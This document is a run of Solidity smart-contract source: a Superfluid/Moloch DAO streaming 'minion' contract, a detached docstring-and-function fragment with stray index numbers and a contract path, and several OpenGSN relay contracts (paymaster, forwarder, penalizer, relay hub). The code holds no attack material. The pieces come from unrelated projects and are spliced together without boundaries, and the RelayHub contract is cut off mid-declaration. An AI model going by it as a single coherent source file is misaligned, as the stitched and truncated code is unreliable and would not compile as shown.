// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import { IConstantFlowAgreementV1 } from "@superfluid-finance/ethereum-contracts/contracts/interfaces/agreements/IConstantFlowAgreementV1.sol"; import "@superfluid-finance/ethereum-contracts/contracts/interfaces/misc/IResolver.sol"; import { ISuperAgreement, ISuperfluid, ISuperToken } from "@superfluid-finance/ethereum-contracts/contracts/interfaces/superfluid/ISuperfluid.sol"; import { ERC20WithTokenInfo } from "@superfluid-finance/ethereum-contracts/contracts/interfaces/tokens/ERC20WithTokenInfo.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { IBaseApp } from "../interfaces/IBaseApp.sol"; import { IMOLOCH } from "../interfaces/IMoloch.sol"; import { ISuperfluidMinion } from "../interfaces/ISuperfluidMinion.sol"; /// @title SuperfluidMinion /// @notice /// @dev contract SuperfluidMinion is ReentrancyGuard, ISuperfluidMinion { IMOLOCH public moloch; bool private initialized; // internally tracks deployment under eip-1167 proxy pattern mapping(uint256 => Stream) public streams; // proposalId => Stream struct Stream { address to; ERC20WithTokenInfo token; address superToken; uint256 rate; uint256 minDeposit; address proposer; bool executed; bool active; bytes ctx; } IBaseApp public sfApp; event ProposeStream(uint256 proposalId, address proposer); event ExecuteStream(uint256 proposalId, address executor); event PulledFunds(address indexed token, uint256 amount); event WithdrawBalance(address indexed superToken, address indexed underlyingToken, address indexed withdrawnBy, uint256 amount, bool downgraded); event ActionCanceled(uint256 proposalId); event StreamCanceled(uint256 proposalId, address canceledBy); modifier memberOnly() { require(isMember(moloch, msg.sender), "SuperfluidMinion: not a DAO member"); _; } /// @notice /// @dev constructor() ReentrancyGuard() { initialized = false; } /// @notice /// @dev init method used by proxy factory /// @param _moloch MolochDAO address /// @param _sfApp App to interacti with the Superfluid contracts function init(address _moloch, address _sfApp) external override { require(!initialized, "SuperfluidMinion: already initialized"); moloch = IMOLOCH(_moloch); sfApp = IBaseApp(_sfApp); initialized = true; } /// @notice pull requested funds from the DAO /// @dev /// @param token an ERC20 token function _pullFunds(address token) internal { uint256 remainingFunds = moloch.userTokenBalances(address(this), token); if (remainingFunds > 0) { moloch.withdrawBalance(token, remainingFunds); // withdraw funds from parent moloch emit PulledFunds(token, remainingFunds); } } /// @notice increase the Minion superToken balance /// @dev /// @param _token the underlying token /// @param value deposit value function upgradeToken(ERC20WithTokenInfo _token, uint256 value) external override memberOnly nonReentrant { _pullFunds(address(_token)); require(_token.balanceOf(address(this)) >= value, "SuperfluidMinion: No enough funds available to upgrade"); address superToken = sfApp.getSuperToken(_token); require(superToken != address(0), "SuperfluidMinion: this token does not have superpowers"); if (_token.allowance(address(this), superToken) < value) { uint256 zero = 0; bool success = _token.approve(superToken, zero - 1); // max allowance require(success, "SuperfluidMinion: failed to approve allowance to SuperToken"); } ISuperToken(superToken).upgrade(value); } /// @notice withdraw any remaining balance and returns it to the DAO /// @dev /// @param superToken a SuperToken /// @param _downgrade if true returns the balance in underlying token function withdrawRemainingFunds(ISuperToken superToken, bool _downgrade) public override memberOnly nonReentrant { uint256 remainingBalance = superToken.balanceOf(address(this)); require(remainingBalance > 0, "SuperfluidMinion: No funds to withdraw"); ERC20WithTokenInfo underlyingToken = ERC20WithTokenInfo(superToken.getUnderlyingToken()); if (_downgrade) { // STEP 1: downgrade from SuperToken then withdraw from token superToken.downgrade(uint256(remainingBalance)); // STEP 2: withdraw underlyingToken to Moloch remainingBalance = underlyingToken.balanceOf(address(this)); require(remainingBalance > 0, "SuperfluidMinion: No remaining funds to withdraw"); require(underlyingToken.transfer(address(moloch), remainingBalance), "Superfluid minion: token transfer failed"); } else { require(superToken.transfer(address(moloch), remainingBalance), "Superfluid minion: superToken transfer failed"); } emit WithdrawBalance(address(superToken), address(underlyingToken), msg.sender, remainingBalance, _downgrade); } /// @notice submit a DAO proposal /// @dev /// @param _minDeposit requested funds /// @param _depositToken a ERC20 token /// @param details proposal details /// @return proposalId function _submitProposal( uint256 _minDeposit, address _depositToken, string calldata details ) internal returns (uint256 proposalId) { proposalId = moloch.submitProposal( address(this), 0, 0, 0, moloch.depositToken(), _minDeposit, // paymentRequested _depositToken, details ); } /// @notice creates a streaming proposal /// @dev /// @param _to stream recipient /// @param _token underlying token to be streamed /// @param _rate stream rate /// @param _minDeposit minimum deposit /// @param _ctx any context to be sent to Superfluid /// @param details proposal details /// @return proposalId function proposeAction( address _to, address _token, uint256 _rate, uint256 _minDeposit, bytes calldata _ctx, string calldata details ) external override memberOnly returns (uint256) { require(_to != address(0), "Superfluid minion: invalid recipient"); require(_token != address(0), "Superfluid minion: invalid token"); require(_minDeposit > _rate, "Superfluid minion: invalid minimum deposit"); uint256 proposalId = _submitProposal(_minDeposit, _token, details); ERC20WithTokenInfo token = ERC20WithTokenInfo(_token); address superToken = sfApp.isSuperToken(token) ? _token : sfApp.getSuperToken(token); Stream memory stream = Stream({ to: _to, token: token, superToken: superToken, // if not in the registry, it will be upgraded during execution rate: _rate, minDeposit: _minDeposit, proposer: msg.sender, executed: false, active: false, ctx: _ctx }); streams[proposalId] = stream; emit ProposeStream(proposalId, msg.sender); return proposalId; } /// @notice starts the stream after a proposal passed /// @dev /// @param _proposalId DAO proposal Id /// @return ctx returned by Superfluid function executeAction(uint256 _proposalId) nonReentrant external override returns (bytes memory) { Stream storage stream = streams[_proposalId]; bool[6] memory flags = moloch.getProposalFlags(_proposalId); require(!stream.executed, "SuperfluidMinion: action already executed"); require(flags[2], "SuperfluidMinion: proposal not passed"); // execute call stream.executed = true; stream.active = true; _pullFunds(address(stream.token)); require(stream.token.balanceOf(address(this)) >= stream.minDeposit, "SuperfluidMinion: insufficient funds"); // STEP -1: Ensure token has superpowers if (stream.superToken == address(0)) { stream.superToken = address(sfApp.createSuperToken(stream.token)); } // STEP 0: Approve token to be upgraded if (stream.token.allowance(address(this), stream.superToken) < stream.minDeposit) { uint256 zero = 0; bool success = stream.token.approve(stream.superToken, zero - 1); // max allowance require(success, "SuperfluidMinion: failed to approve allowance to SuperToken"); } // STEP 1: Give token Superpowers ISuperToken(stream.superToken).upgrade(stream.minDeposit); (ISuperfluid host, /*IResolver r_*/, IConstantFlowAgreementV1 cfa, /*string memory v_*/) = sfApp.superfluidConfig(); // STEP 2: Create CFA stream.ctx = host.callAgreement(cfa, abi.encodeWithSelector(cfa.createFlow.selector, stream.superToken, stream.to, stream.rate, new bytes(0) // placeholder ), "0x" ); emit ExecuteStream(_proposalId, msg.sender); return stream.ctx; } /// @notice cancel proposal /// @dev /// @param _proposalId DAO proposal Id function cancelAction(uint256 _proposalId) external override { Stream memory stream = streams[_proposalId]; require(msg.sender == stream.proposer, "SuperfluidMinion: not the proposer"); require(!stream.executed, "SuperfluidMinion: already executed"); delete streams[_proposalId]; emit ActionCanceled(_proposalId); moloch.cancelProposal(_proposalId); } /// @notice cancel an active stream /// @dev /// @param _proposalId DAO proposal Id function cancelStream(uint256 _proposalId) external override memberOnly { Stream storage stream = streams[_proposalId]; require(stream.active, "SuperfluidMinion: not an active stream"); stream.active = false; (ISuperfluid host, /*IResolver r_*/, IConstantFlowAgreementV1 cfa, /*string memory v_*/) = sfApp.superfluidConfig(); (/*uint256 timestamp*/, int96 flowRate, /*uint256 deposit*/, /*uint256 owedDeposit*/) = cfa.getFlow(ISuperToken(stream.superToken), address(this), stream.to); if (flowRate > 0) { // TODO: make sure cannot create a new stream proposal before closing a previous one stream.ctx = host.callAgreement(cfa, abi.encodeWithSelector(cfa.deleteFlow.selector, stream.superToken, address(this), stream.to, new bytes(0) // placeholder ), "0x" ); } emit StreamCanceled(_proposalId, msg.sender); } /// @notice verifies if a user is a DAO member /// @dev /// @param _moloch DAO address /// @param _user user address /// @return true if user is a DAO member function isMember(IMOLOCH _moloch, address _user) public override view returns (bool) { (, uint shares,,,,) = _moloch.members(_user); return shares > 0; } receive() external payable {} }
verifies if a user is a DAO member _moloch DAO address _user user address return true if user is a DAO member
function isMember(IMOLOCH _moloch, address _user) public override view returns (bool) { (, uint shares,,,,) = _moloch.members(_user); return shares > 0; }
5,516,689
./full_match/40/0xd9742c670eEE8001d965964E05793c42c588B657/sources/contracts/BaseV1-voter.sol
distribute earned fees to the bribe contract for all gauges
function distroFees() external { for (uint i = 0; i < allGauges.length; i++) { IGauge(allGauges[i]).claimFees(); } }
9,544,963
// SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/access/Ownable.sol"; import "./utils/GsnTypes.sol"; import "./interfaces/IPaymaster.sol"; import "./interfaces/IRelayHub.sol"; import "./utils/GsnEip712Library.sol"; import "./forwarder/IForwarder.sol"; /** * Abstract base class to be inherited by a concrete Paymaster * A subclass must implement: * - preRelayedCall * - postRelayedCall */ abstract contract BasePaymaster is IPaymaster, Ownable { IRelayHub internal relayHub; IForwarder public override trustedForwarder; function getHubAddr() public override view returns (address) { return address(relayHub); } //overhead of forwarder verify+signature, plus hub overhead. uint256 constant public FORWARDER_HUB_OVERHEAD = 50000; //These parameters are documented in IPaymaster.GasAndDataLimits uint256 constant public PRE_RELAYED_CALL_GAS_LIMIT = 100000; uint256 constant public POST_RELAYED_CALL_GAS_LIMIT = 110000; uint256 constant public PAYMASTER_ACCEPTANCE_BUDGET = PRE_RELAYED_CALL_GAS_LIMIT + FORWARDER_HUB_OVERHEAD; uint256 constant public CALLDATA_SIZE_LIMIT = 10500; function getGasAndDataLimits() public override virtual view returns ( IPaymaster.GasAndDataLimits memory limits ) { return IPaymaster.GasAndDataLimits( PAYMASTER_ACCEPTANCE_BUDGET, PRE_RELAYED_CALL_GAS_LIMIT, POST_RELAYED_CALL_GAS_LIMIT, CALLDATA_SIZE_LIMIT ); } // this method must be called from preRelayedCall to validate that the forwarder // is approved by the paymaster as well as by the recipient contract. function _verifyForwarder(GsnTypes.RelayRequest calldata relayRequest) public view { require(address(trustedForwarder) == relayRequest.relayData.forwarder, "Forwarder is not trusted"); GsnEip712Library.verifyForwarderTrusted(relayRequest); } /* * modifier to be used by recipients as access control protection for preRelayedCall & postRelayedCall */ modifier relayHubOnly() { require(msg.sender == getHubAddr(), "can only be called by RelayHub"); _; } function setRelayHub(IRelayHub hub) public onlyOwner { relayHub = hub; } function setTrustedForwarder(IForwarder forwarder) public onlyOwner { trustedForwarder = forwarder; } /// check current deposit on relay hub. function getRelayHubDeposit() public override view returns (uint) { return relayHub.balanceOf(address(this)); } // any money moved into the paymaster is transferred as a deposit. // This way, we don't need to understand the RelayHub API in order to replenish // the paymaster. receive() external virtual payable { require(address(relayHub) != address(0), "relay hub address not set"); relayHub.depositFor{value:msg.value}(address(this)); } /// withdraw deposit from relayHub function withdrawRelayHubDepositTo(uint amount, address payable target) public onlyOwner { relayHub.withdraw(amount, target); } } // SPDX-License-Identifier:MIT // solhint-disable no-inline-assembly pragma solidity >=0.7.6; import "./interfaces/IRelayRecipient.sol"; /** * A base contract to be inherited by any contract that want to receive relayed transactions * A subclass must use "_msgSender()" instead of "msg.sender" */ abstract contract BaseRelayRecipient is IRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public override view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal override virtual view returns (address payable ret) { if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; } } /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal override virtual view returns (bytes memory ret) { if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) { return msg.data[0:msg.data.length-20]; } else { return msg.data; } } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./forwarder/Forwarder.sol"; import "./BaseRelayRecipient.sol"; import "./utils/GsnUtils.sol"; /** * batch forwarder support calling a method sendBatch in the forwarder itself. * NOTE: the "target" of the request should be the BatchForwarder itself */ contract BatchForwarder is Forwarder, BaseRelayRecipient { string public override versionRecipient = "2.2.0+opengsn.batched.irelayrecipient"; constructor() { //needed for sendBatch trustedForwarder = address(this); } function sendBatch(address[] calldata targets, bytes[] calldata encodedFunctions) external { require(targets.length == encodedFunctions.length, "BatchForwarder: wrong length"); address sender = _msgSender(); for (uint i = 0; i < targets.length; i++) { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory ret) = targets[i].call(abi.encodePacked(encodedFunctions[i], sender)); if (!success){ //re-throw the revert with the same revert reason. GsnUtils.revertWithData(ret); } } } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "./utils/RLPReader.sol"; import "./utils/GsnUtils.sol"; import "./interfaces/IRelayHub.sol"; import "./interfaces/IPenalizer.sol"; contract Penalizer is IPenalizer { string public override versionPenalizer = "2.2.0+opengsn.penalizer.ipenalizer"; using ECDSA for bytes32; uint256 public immutable override penalizeBlockDelay; uint256 public immutable override penalizeBlockExpiration; constructor( uint256 _penalizeBlockDelay, uint256 _penalizeBlockExpiration ) { penalizeBlockDelay = _penalizeBlockDelay; penalizeBlockExpiration = _penalizeBlockExpiration; } function isTransactionType1(bytes calldata rawTransaction) public pure returns (bool) { return (uint8(rawTransaction[0]) == 1); } function isTransactionTypeValid(bytes calldata rawTransaction) public pure returns(bool) { uint8 transactionTypeByte = uint8(rawTransaction[0]); return (transactionTypeByte >= 0xc0 && transactionTypeByte <= 0xfe); } function decodeTransaction(bytes calldata rawTransaction) public pure returns (Transaction memory transaction) { if (isTransactionType1(rawTransaction)) { (transaction.nonce, transaction.gasPrice, transaction.gasLimit, transaction.to, transaction.value, transaction.data) = RLPReader.decodeTransactionType1(rawTransaction); } else { (transaction.nonce, transaction.gasPrice, transaction.gasLimit, transaction.to, transaction.value, transaction.data) = RLPReader.decodeLegacyTransaction(rawTransaction); } return transaction; } mapping(bytes32 => uint) public commits; /** * any sender can call "commit(keccak(encodedPenalizeFunction))", to make sure * no-one can front-run it to claim this penalization */ function commit(bytes32 commitHash) external override { uint256 readyBlockNumber = block.number + penalizeBlockDelay; commits[commitHash] = readyBlockNumber; emit CommitAdded(msg.sender, commitHash, readyBlockNumber); } modifier commitRevealOnly() { bytes32 commitHash = keccak256(abi.encodePacked(keccak256(msg.data), msg.sender)); uint256 readyBlockNumber = commits[commitHash]; delete commits[commitHash]; // msg.sender can only be fake during off-chain view call, allowing Penalizer process to check transactions if(msg.sender != address(0)) { require(readyBlockNumber != 0, "no commit"); require(readyBlockNumber < block.number, "reveal penalize too soon"); require(readyBlockNumber + penalizeBlockExpiration > block.number, "reveal penalize too late"); } _; } function penalizeRepeatedNonce( bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2, IRelayHub hub, uint256 randomValue ) public override commitRevealOnly { (randomValue); _penalizeRepeatedNonce(unsignedTx1, signature1, unsignedTx2, signature2, hub); } function _penalizeRepeatedNonce( bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2, IRelayHub hub ) private { // If a relay attacked the system by signing multiple transactions with the same nonce // (so only one is accepted), anyone can grab both transactions from the blockchain and submit them here. // Check whether unsignedTx1 != unsignedTx2, that both are signed by the same address, // and that unsignedTx1.nonce == unsignedTx2.nonce. // If all conditions are met, relay is considered an "offending relay". // The offending relay will be unregistered immediately, its stake will be forfeited and given // to the address who reported it (msg.sender), thus incentivizing anyone to report offending relays. // If reported via a relay, the forfeited stake is split between // msg.sender (the relay used for reporting) and the address that reported it. address addr1 = keccak256(unsignedTx1).recover(signature1); address addr2 = keccak256(unsignedTx2).recover(signature2); require(addr1 == addr2, "Different signer"); require(addr1 != address(0), "ecrecover failed"); Transaction memory decodedTx1 = decodeTransaction(unsignedTx1); Transaction memory decodedTx2 = decodeTransaction(unsignedTx2); // checking that the same nonce is used in both transaction, with both signed by the same address // and the actual data is different // note: we compare the hash of the tx to save gas over iterating both byte arrays require(decodedTx1.nonce == decodedTx2.nonce, "Different nonce"); bytes memory dataToCheck1 = abi.encodePacked(decodedTx1.data, decodedTx1.gasLimit, decodedTx1.to, decodedTx1.value); bytes memory dataToCheck2 = abi.encodePacked(decodedTx2.data, decodedTx2.gasLimit, decodedTx2.to, decodedTx2.value); require(keccak256(dataToCheck1) != keccak256(dataToCheck2), "tx is equal"); penalize(addr1, hub); } function penalizeIllegalTransaction( bytes calldata unsignedTx, bytes calldata signature, IRelayHub hub, uint256 randomValue ) public override commitRevealOnly { (randomValue); _penalizeIllegalTransaction(unsignedTx, signature, hub); } function _penalizeIllegalTransaction( bytes calldata unsignedTx, bytes calldata signature, IRelayHub hub ) private { if (isTransactionTypeValid(unsignedTx)) { Transaction memory decodedTx = decodeTransaction(unsignedTx); if (decodedTx.to == address(hub)) { bytes4 selector = GsnUtils.getMethodSig(decodedTx.data); bool isWrongMethodCall = selector != IRelayHub.relayCall.selector; bool isGasLimitWrong = GsnUtils.getParam(decodedTx.data, 4) != decodedTx.gasLimit; require( isWrongMethodCall || isGasLimitWrong, "Legal relay transaction"); } } address relay = keccak256(unsignedTx).recover(signature); require(relay != address(0), "ecrecover failed"); penalize(relay, hub); } function penalize(address relayWorker, IRelayHub hub) private { hub.penalize(relayWorker, msg.sender); } } /* solhint-disable avoid-low-level-calls */ /* solhint-disable no-inline-assembly */ /* solhint-disable not-rely-on-time */ /* solhint-disable avoid-tx-origin */ /* solhint-disable bracket-align */ // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./utils/MinLibBytes.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./utils/GsnUtils.sol"; import "./utils/GsnEip712Library.sol"; import "./utils/RelayHubValidator.sol"; import "./utils/GsnTypes.sol"; import "./interfaces/IRelayHub.sol"; import "./interfaces/IPaymaster.sol"; import "./forwarder/IForwarder.sol"; import "./interfaces/IStakeManager.sol"; contract RelayHub is IRelayHub, Ownable { using SafeMath for uint256; string public override versionHub = "2.2.0+opengsn.hub.irelayhub"; IStakeManager immutable override public stakeManager; address immutable override public penalizer; RelayHubConfig private config; function getConfiguration() public override view returns (RelayHubConfig memory) { return config; } function setConfiguration(RelayHubConfig memory _config) public override onlyOwner { config = _config; emit RelayHubConfigured(config); } uint256 public constant G_NONZERO = 16; // maps relay worker's address to its manager's address mapping(address => address) public override workerToManager; // maps relay managers to the number of their workers mapping(address => uint256) public override workerCount; mapping(address => uint256) private balances; uint256 public override deprecationBlock = type(uint).max; constructor ( IStakeManager _stakeManager, address _penalizer, uint256 _maxWorkerCount, uint256 _gasReserve, uint256 _postOverhead, uint256 _gasOverhead, uint256 _maximumRecipientDeposit, uint256 _minimumUnstakeDelay, uint256 _minimumStake, uint256 _dataGasCostPerByte, uint256 _externalCallDataCostOverhead ) { stakeManager = _stakeManager; penalizer = _penalizer; setConfiguration(RelayHubConfig( _maxWorkerCount, _gasReserve, _postOverhead, _gasOverhead, _maximumRecipientDeposit, _minimumUnstakeDelay, _minimumStake, _dataGasCostPerByte, _externalCallDataCostOverhead )); } function registerRelayServer(uint256 baseRelayFee, uint256 pctRelayFee, string calldata url) external override { address relayManager = msg.sender; require( isRelayManagerStaked(relayManager), "relay manager not staked" ); require(workerCount[relayManager] > 0, "no relay workers"); emit RelayServerRegistered(relayManager, baseRelayFee, pctRelayFee, url); } function addRelayWorkers(address[] calldata newRelayWorkers) external override { address relayManager = msg.sender; uint256 newWorkerCount = workerCount[relayManager] + newRelayWorkers.length; workerCount[relayManager] = newWorkerCount; require(newWorkerCount <= config.maxWorkerCount, "too many workers"); require( isRelayManagerStaked(relayManager), "relay manager not staked" ); for (uint256 i = 0; i < newRelayWorkers.length; i++) { require(workerToManager[newRelayWorkers[i]] == address(0), "this worker has a manager"); workerToManager[newRelayWorkers[i]] = relayManager; } emit RelayWorkersAdded(relayManager, newRelayWorkers, newWorkerCount); } function depositFor(address target) public override payable { uint256 amount = msg.value; require(amount <= config.maximumRecipientDeposit, "deposit too big"); balances[target] = balances[target].add(amount); emit Deposited(target, msg.sender, amount); } function balanceOf(address target) external override view returns (uint256) { return balances[target]; } function withdraw(uint256 amount, address payable dest) public override { address payable account = msg.sender; require(balances[account] >= amount, "insufficient funds"); balances[account] = balances[account].sub(amount); dest.transfer(amount); emit Withdrawn(account, dest, amount); } function calldataGasCost(uint256 length) public override view returns (uint256) { return config.dataGasCostPerByte.mul(length); } function verifyGasAndDataLimits( uint256 maxAcceptanceBudget, GsnTypes.RelayRequest calldata relayRequest, uint256 initialGasLeft, uint256 externalGasLimit ) private view returns (IPaymaster.GasAndDataLimits memory gasAndDataLimits, uint256 maxPossibleGas) { gasAndDataLimits = IPaymaster(relayRequest.relayData.paymaster).getGasAndDataLimits{gas:50000}(); require(msg.data.length <= gasAndDataLimits.calldataSizeLimit, "msg.data exceeded limit" ); uint256 dataGasCost = calldataGasCost(msg.data.length); uint256 externalCallDataCost = externalGasLimit - initialGasLeft - config.externalCallDataCostOverhead; uint256 txDataCostPerByte = externalCallDataCost/msg.data.length; require(txDataCostPerByte <= G_NONZERO, "invalid externalGasLimit"); require(maxAcceptanceBudget >= gasAndDataLimits.acceptanceBudget, "acceptance budget too high"); require(gasAndDataLimits.acceptanceBudget >= gasAndDataLimits.preRelayedCallGasLimit, "acceptance budget too low"); maxPossibleGas = config.gasOverhead.add( gasAndDataLimits.preRelayedCallGasLimit).add( gasAndDataLimits.postRelayedCallGasLimit).add( relayRequest.request.gas).add( dataGasCost).add( externalCallDataCost); // This transaction must have enough gas to forward the call to the recipient with the requested amount, and not // run out of gas later in this function. require( externalGasLimit >= maxPossibleGas, "no gas for innerRelayCall"); uint256 maxPossibleCharge = calculateCharge( maxPossibleGas, relayRequest.relayData ); // We don't yet know how much gas will be used by the recipient, so we make sure there are enough funds to pay // for the maximum possible charge. require(maxPossibleCharge <= balances[relayRequest.relayData.paymaster], "Paymaster balance too low"); } struct RelayCallData { bool success; bytes4 functionSelector; uint256 initialGasLeft; bytes recipientContext; bytes relayedCallReturnValue; IPaymaster.GasAndDataLimits gasAndDataLimits; RelayCallStatus status; uint256 innerGasUsed; uint256 maxPossibleGas; uint256 gasBeforeInner; bytes retData; address relayManager; uint256 dataGasCost; } function relayCall( uint maxAcceptanceBudget, GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint externalGasLimit ) external override returns (bool paymasterAccepted, bytes memory returnValue) { RelayCallData memory vars; vars.initialGasLeft = gasleft(); require(!isDeprecated(), "hub deprecated"); vars.functionSelector = relayRequest.request.data.length>=4 ? MinLibBytes.readBytes4(relayRequest.request.data, 0) : bytes4(0); require(msg.sender == tx.origin, "relay worker must be EOA"); vars.relayManager = workerToManager[msg.sender]; require(vars.relayManager != address(0), "Unknown relay worker"); require(relayRequest.relayData.relayWorker == msg.sender, "Not a right worker"); require( isRelayManagerStaked(vars.relayManager), "relay manager not staked" ); require(relayRequest.relayData.gasPrice <= tx.gasprice, "Invalid gas price"); require(externalGasLimit <= block.gaslimit, "Impossible gas limit"); (vars.gasAndDataLimits, vars.maxPossibleGas) = verifyGasAndDataLimits(maxAcceptanceBudget, relayRequest, vars.initialGasLeft, externalGasLimit); RelayHubValidator.verifyTransactionPacking(relayRequest,signature,approvalData); { //How much gas to pass down to innerRelayCall. must be lower than the default 63/64 // actually, min(gasleft*63/64, gasleft-GAS_RESERVE) might be enough. uint256 innerGasLimit = gasleft()*63/64- config.gasReserve; vars.gasBeforeInner = gasleft(); uint256 _tmpInitialGas = innerGasLimit + externalGasLimit + config.gasOverhead + config.postOverhead; // Calls to the recipient are performed atomically inside an inner transaction which may revert in case of // errors in the recipient. In either case (revert or regular execution) the return data encodes the // RelayCallStatus value. (bool success, bytes memory relayCallStatus) = address(this).call{gas:innerGasLimit}( abi.encodeWithSelector(RelayHub.innerRelayCall.selector, relayRequest, signature, approvalData, vars.gasAndDataLimits, _tmpInitialGas - gasleft(), vars.maxPossibleGas ) ); vars.success = success; vars.innerGasUsed = vars.gasBeforeInner-gasleft(); (vars.status, vars.relayedCallReturnValue) = abi.decode(relayCallStatus, (RelayCallStatus, bytes)); if ( vars.relayedCallReturnValue.length>0 ) { emit TransactionResult(vars.status, vars.relayedCallReturnValue); } } { vars.dataGasCost = calldataGasCost(msg.data.length); if (!vars.success) { //Failure cases where the PM doesn't pay if (vars.status == RelayCallStatus.RejectedByPreRelayed || (vars.innerGasUsed <= vars.gasAndDataLimits.acceptanceBudget.add(vars.dataGasCost)) && ( vars.status == RelayCallStatus.RejectedByForwarder || vars.status == RelayCallStatus.RejectedByRecipientRevert //can only be thrown if rejectOnRecipientRevert==true )) { paymasterAccepted=false; emit TransactionRejectedByPaymaster( vars.relayManager, relayRequest.relayData.paymaster, relayRequest.request.from, relayRequest.request.to, msg.sender, vars.functionSelector, vars.innerGasUsed, vars.relayedCallReturnValue); return (false, vars.relayedCallReturnValue); } } // We now perform the actual charge calculation, based on the measured gas used uint256 gasUsed = (externalGasLimit - gasleft()) + config.gasOverhead; uint256 charge = calculateCharge(gasUsed, relayRequest.relayData); balances[relayRequest.relayData.paymaster] = balances[relayRequest.relayData.paymaster].sub(charge); balances[vars.relayManager] = balances[vars.relayManager].add(charge); emit TransactionRelayed( vars.relayManager, msg.sender, relayRequest.request.from, relayRequest.request.to, relayRequest.relayData.paymaster, vars.functionSelector, vars.status, charge); return (true, ""); } } struct InnerRelayCallData { uint256 balanceBefore; bytes32 preReturnValue; bool relayedCallSuccess; bytes relayedCallReturnValue; bytes recipientContext; bytes data; bool rejectOnRecipientRevert; } function innerRelayCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, IPaymaster.GasAndDataLimits calldata gasAndDataLimits, uint256 totalInitialGas, uint256 maxPossibleGas ) external returns (RelayCallStatus, bytes memory) { InnerRelayCallData memory vars; // A new gas measurement is performed inside innerRelayCall, since // due to EIP150 available gas amounts cannot be directly compared across external calls // This external function can only be called by RelayHub itself, creating an internal transaction. Calls to the // recipient (preRelayedCall, the relayedCall, and postRelayedCall) are called from inside this transaction. require(msg.sender == address(this), "Must be called by RelayHub"); // If either pre or post reverts, the whole internal transaction will be reverted, reverting all side effects on // the recipient. The recipient will still be charged for the used gas by the relay. // The paymaster is no allowed to withdraw balance from RelayHub during a relayed transaction. We check pre and // post state to ensure this doesn't happen. vars.balanceBefore = balances[relayRequest.relayData.paymaster]; // First preRelayedCall is executed. // Note: we open a new block to avoid growing the stack too much. vars.data = abi.encodeWithSelector( IPaymaster.preRelayedCall.selector, relayRequest, signature, approvalData, maxPossibleGas ); { bool success; bytes memory retData; (success, retData) = relayRequest.relayData.paymaster.call{gas:gasAndDataLimits.preRelayedCallGasLimit}(vars.data); if (!success) { GsnEip712Library.truncateInPlace(retData); revertWithStatus(RelayCallStatus.RejectedByPreRelayed, retData); } (vars.recipientContext, vars.rejectOnRecipientRevert) = abi.decode(retData, (bytes,bool)); } // The actual relayed call is now executed. The sender's address is appended at the end of the transaction data { bool forwarderSuccess; (forwarderSuccess, vars.relayedCallSuccess, vars.relayedCallReturnValue) = GsnEip712Library.execute(relayRequest, signature); if ( !forwarderSuccess ) { revertWithStatus(RelayCallStatus.RejectedByForwarder, vars.relayedCallReturnValue); } if (vars.rejectOnRecipientRevert && !vars.relayedCallSuccess) { // we trusted the recipient, but it reverted... revertWithStatus(RelayCallStatus.RejectedByRecipientRevert, vars.relayedCallReturnValue); } } // Finally, postRelayedCall is executed, with the relayedCall execution's status and a charge estimate // We now determine how much the recipient will be charged, to pass this value to postRelayedCall for accurate // accounting. vars.data = abi.encodeWithSelector( IPaymaster.postRelayedCall.selector, vars.recipientContext, vars.relayedCallSuccess, totalInitialGas - gasleft(), /*gasUseWithoutPost*/ relayRequest.relayData ); { (bool successPost,bytes memory ret) = relayRequest.relayData.paymaster.call{gas:gasAndDataLimits.postRelayedCallGasLimit}(vars.data); if (!successPost) { revertWithStatus(RelayCallStatus.PostRelayedFailed, ret); } } if (balances[relayRequest.relayData.paymaster] < vars.balanceBefore) { revertWithStatus(RelayCallStatus.PaymasterBalanceChanged, ""); } return (vars.relayedCallSuccess ? RelayCallStatus.OK : RelayCallStatus.RelayedCallFailed, vars.relayedCallReturnValue); } /** * @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data) */ function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure { bytes memory data = abi.encode(status, ret); GsnEip712Library.truncateInPlace(data); assembly { let dataSize := mload(data) let dataPtr := add(data, 32) revert(dataPtr, dataSize) } } function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) public override virtual view returns (uint256) { return relayData.baseRelayFee.add((gasUsed.mul(relayData.gasPrice).mul(relayData.pctRelayFee.add(100))).div(100)); } function isRelayManagerStaked(address relayManager) public override view returns (bool) { return stakeManager.isRelayManagerStaked(relayManager, address(this), config.minimumStake, config.minimumUnstakeDelay); } function deprecateHub(uint256 fromBlock) public override onlyOwner { require(deprecationBlock > block.number, "Already deprecated"); deprecationBlock = fromBlock; emit HubDeprecated(fromBlock); } function isDeprecated() public override view returns (bool) { return block.number >= deprecationBlock; } modifier penalizerOnly () { require(msg.sender == penalizer, "Not penalizer"); _; } function penalize(address 